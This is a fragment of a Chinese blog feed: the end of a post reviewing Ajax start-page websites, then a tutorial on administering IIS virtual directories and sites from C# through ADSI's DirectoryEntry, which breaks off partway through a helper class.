<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><FONT color=#0000ff><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/11h8x95pwz4e.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG><BR></FONT><STRONG>Pageflakes</STRONG> 是一个在已经异常拥挤的桌面系统市场中新近推出的网站. 它综合了RSS阅读器, 邮件收发, 记事本以及搜索等功能. 提供第三方API。进入<A href="http://www.pageflakes.com/" target=_blank><FONT color=#0000ff>Pageflakes</FONT></A></TD></TR>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><FONT color=#0000ff><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/u4a2z9sf539i.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG><BR></FONT><STRONG>Favoor</STRONG> 这个色彩如LOGO一样比较鲜艳，活动的桌面系统，不过需要先注册才可以使用，注册是方便的。同样都是支持RSS，邮件收发，书签之类的小功能。这是来自德国的网站。进入<A href="http://www.favoor.com/" target=_blank><FONT color=#0000ff>Favoor</FONT></A></TD></TR>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><FONT color=#0000ff><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/sdx08kh1a996.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG><BR></FONT><STRONG>Eskobo</STRONG> 蓝色色调，我测试了一下，中文支持的功能很好。还配有各种skin任你选择，随你喜好吧。进入<A href="http://www.eskobo.com/" target=_blank><FONT color=#0000ff>Eskobo</FONT></A></TD></TR>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><FONT color=#0000ff><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/h80u6asn70lq.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG></FONT><A href="http://homepage.yesky.com/292/2328792.shtml"></A><BR><STRONG>Protopage</STRONG> 面中的元素可以像视窗那样彻底地无限制移动，不像其它的桌面Ajax系统，只能定向移动。进入<A href="http://www.protopage.com/v2" target=_blank><FONT color=#0000ff>Protopage</FONT></A></TD></TR>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><FONT color=#0000ff><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/57ap9048b708.jpg" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG><BR></FONT><STRONG>Goowy</STRONG> 这个就十分特别的，网页版，还有下载的桌面版，有点像YAHOO的widget。我正在研究，功能太多了，大家都来试用吧。进入<A href="http://webserver002.goowy.com/" target=_blank><FONT color=#0000ff>Goowy</FONT></A></TD></TR></TBODY></TABLE>
<TABLE style="BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; MARGIN-TOP: 5px; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #999999 1px solid" cellSpacing=0 cellPadding=0 width="100%">
<TBODY>
<TR>
<TD bgColor=#e1e1e1><STRONG>■国内</STRONG></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/21rt3vv00gx1.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}"></IMG><BR><STRONG>GouGou</STRONG> GouGou作为一个在线RSS阅读网站实际上起到了一个反rss的作用，人们千方百计地把自己网站上的内容xml化并提供给一些特定的RSS阅读器订阅，但GouGou似乎把这些东西又还原了，所幸的是，用这种方式进行内容阅读还是比直接浏览网站方便得多。进入<A href="http://www.gougou.com/" target=_blank><FONT color=#0000ff>Gougou</FONT></A><A href="http://www.google.com/ig" target=_blank></A></TD></TR>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><FONT color=#0000ff><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/mi83qy6se289.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG><BR></FONT><STRONG>Redoo热度</STRONG> 我不知道国内从什么时候开始也有了Ajax网站，但这个网站不论从技术上说还是从内容上说都是做的比较好的，不过明眼人一看就知道这个网站的很多程序代码是借鉴别人的，不管怎么样，它把自己的内容进行了有效的组装，已经非常不错了。进入<A href="http://www.redoo.com/" target=_blank><FONT color=#0000ff>Redoo</FONT></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=313" /> 
	  <id>http://www.openx.cn/default.asp?id=313</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C# 操作iis]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-28T16:50:50+08:00</updated>
	  <published>2006-06-28T16:50:50+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="COLOR: #000000">操作iis说明&nbsp;&nbsp;&nbsp;&nbsp;操作原码<BR><BR>.Net中需要使用ADSI来操作IIS&nbsp;<BR>System.DirectoryServices命名空间</SPAN><SPAN style="COLOR: #000000">--</SPAN><SPAN style="COLOR: #000000">DirectoryEntry&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">在.net组件中&nbsp;System.DirectoryServices.dll&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">了解IIS元数据(Metabase)的层次结构,每一个节点称之Key,而每个Key可以包含一或多个值，这些值就是我们说的属性(properties)<BR>IIS元数据中的Key与IIS中的元素是相符的，因此元数据中的属性值的设定是会影响IIS中的设置。<BR><BR>Schema&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;指每个结点的类型<BR>IIsVirtualDir&nbsp;&nbsp;虚拟目录<BR>IIsWebDir&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;普通目录<BR><IMG src="http://www.cnblogs.com/Images/dot.gif"><IMG src="http://www.cnblogs.com/Images/dot.gif">..&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;文件<BR><BR><BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">创建虚拟目录&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">DirectoryEntry</SPAN><SPAN style="COLOR: #000000">--</SPAN><SPAN style="COLOR: #000000">目录入口。使用过ADSI的人都知道操作IIS时，需要提供他们的Path<BR>这个Path的格式为：&nbsp;IIS:</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">ComputerName/Service/Website/Directory&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000"><BR>ComputerName&nbsp;&nbsp;&nbsp;：即操作的服务器的名字，可以是名字也可以是IP，经常用的就是localhost&nbsp;<BR><BR>Service&nbsp;：即操作的服务器&nbsp;如:<BR>&nbsp;&nbsp;&nbsp;W3SVC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Web<BR>&nbsp;&nbsp;&nbsp;MSFTPSVC&nbsp;&nbsp;&nbsp;FTP<BR>&nbsp;&nbsp;&nbsp;<IMG src="http://www.cnblogs.com/Images/dot.gif"><IMG src="http://www.cnblogs.com/Images/dot.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SMTP<BR><BR>WebSite:站点标识，设置操作的站点。是一个数字，默认站点是1,如果有其它，则从1始依次类推。<BR><BR>Directory：目录名称，顶层目录为</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ROOT</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">，其它目录则是（Child）&nbsp;<BR><BR></SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">.首先我们获取一个站点的顶层目录（根目录）:&nbsp;<BR>DirectoryEntry&nbsp;rootfolder&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryEntry(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://localhost/W3SVC/1/ROOT</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR>如果我们创建这个对象是没有发生异常，则表示这个目录是真实存在的。&nbsp;<BR><BR></SPAN><SPAN style="COLOR: #000000">2</SPAN><SPAN style="COLOR: #000000">.添加新的虚拟目录，比如我们要加的是</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">目录名</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">：&nbsp;<BR>虚拟目录名&nbsp;目录类型(Schema)<BR>DirectoryEntry&nbsp;newVirDir&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;rootfolder.Children.Add(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">目录名</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsWebVirtualDir</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR>newVirDir.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">AppCreate</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">调用ADSI中的"AppCreate"方法将目录真正创建</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">newVirDir.CommitChanges();&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">最后便是依次调用新、根目录的CommitChanges方法，确认此次操作。&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">rootfolder.CommitChanges();&nbsp;<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">建议大家最好是先创建目录，然后再赋值，即更新目录信息。&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #000000">3</SPAN><SPAN style="COLOR: #000000">.更新虚拟目录&nbsp;<BR>了解IIS中一些重要的设置<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(AccessRead)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;可读<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(AccessWrite)&nbsp;&nbsp;&nbsp;&nbsp;可写<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(AccessExecute)&nbsp;&nbsp;执行<BR>这些都可通过DirectoryEntry.Properties属性集合的赋值来实现。赋值可以通过两种方式来完成：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;第一种是调用Properties集合的Add方法，如：&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dir.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">AccessRead</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Add(</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;第二种是对第一个索引值赋值：&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dir.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">AccessRead</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">][</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">]&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">;&nbsp;<BR>这两种方法都是可行的。具体是要看你的喜好了。&nbsp;<BR><BR>在进行赋值之前我们还是要确定要要赋值的目标吧：）这里我们使用DirectoryEntries.Find方法，如：&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DirectoryEntry&nbsp;de&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;rootfolder.Children.Find(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">目录名</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsVirtualDir</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR>找到了，我们就可以赋值了。赋值时一定要好好看看啊，虚拟目录的属性值可以超多，一查一大堆。。<BR>比较常用的有:AccessRead,AccessWrite,AccessExecute,AccessScript,DefaultDoc,EnableDefaultDoc,Path&nbsp;<BR><BR></SPAN><SPAN style="COLOR: #000000">4</SPAN><SPAN style="COLOR: #000000">.删除虚拟目录&nbsp;<BR>删除虚拟目录的方法也很简单，就是找到你要删除的虚拟目录，然后调用AppDelete方法。&nbsp;<BR>DirectoryEntry&nbsp;de&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;rootfolder.Children.Find(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Aspcn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsVirtualDir</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR>de.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">AppDelete</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR>rootfolder.CommitChanges();&nbsp;<BR>还有一种方法，就是调用Root目录的Delete方法。&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">object</SPAN><SPAN style="COLOR: #000000">[]&nbsp;paras&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">object</SPAN><SPAN style="COLOR: #000000">[</SPAN><SPAN style="COLOR: #000000">2</SPAN><SPAN style="COLOR: #000000">];&nbsp;<BR>paras[</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">]&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsWebVirtualDir</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">表示操作的是虚拟目录&nbsp;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">paras[</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">]&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Aspcn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;<BR>rootfolder.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Delete</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,paras);&nbsp;<BR>rootfolder.CommitChanges();&nbsp;<BR><BR><BR><BR>asp.net(C#)操作IIS源代码，创建站点，管理虚拟目录等<BR><BR><BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.DirectoryServices;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Collections;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Text.RegularExpressions;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Text;&nbsp;<BR><BR></SPAN><SPAN style="COLOR: #0000ff">namespace</SPAN><SPAN style="COLOR: #000000">&nbsp;QF&nbsp;<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">class</SPAN><SPAN style="COLOR: #000000">&nbsp;IIS<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;UserName,Password,HostName的定义</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;HostName<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;hostName;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>hostName&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;UserName<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;userName;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>userName&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Password<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">get</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;password;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">set</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(UserName.Length&nbsp;</SPAN><SPAN style="COLOR: #000000">&lt;=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">throw</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;ArgumentException(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">还没有指定好用户名。请先指定用户名</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>}<BR>password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;value;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;RemoteConfig(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;hostName,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;userName,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;password)<BR>{<BR>HostName&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;hostName;<BR>UserName&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;userName;<BR>Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;password;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;hostName&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">localhost</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;userName&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">qf</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">qinfei</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;根据路径构造Entry的方法</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;根据是否有用户名来判断是否是远程服务器。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;然后再构造出不同的DirectoryEntry出来<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="entPath"&gt;</SPAN><SPAN style="COLOR: #008000">DirectoryEntry的路径</SPAN><SPAN style="COLOR: #808080">&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;returns&gt;</SPAN><SPAN style="COLOR: #008000">返回的是DirectoryEntry实例</SPAN><SPAN style="COLOR: #808080">&lt;/returns&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryEntry&nbsp;GetDirectoryEntry(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;entPath)<BR>{<BR>DirectoryEntry&nbsp;ent;<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(UserName&nbsp;</SPAN><SPAN style="COLOR: #000000">==</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">null</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR>ent&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryEntry(entPath);<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">else</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>ent&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryEntry(entPath,&nbsp;HostName</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">\\</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">UserName,&nbsp;Password,&nbsp;AuthenticationTypes.Secure);<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">ent&nbsp;=&nbsp;new&nbsp;DirectoryEntry(entPath,&nbsp;UserName,&nbsp;Password,&nbsp;AuthenticationTypes.Secure);</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">}<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;ent;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;添加，删除网站的方法</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;CreateNewWebSite(</SPAN><SPAN style="COLOR: 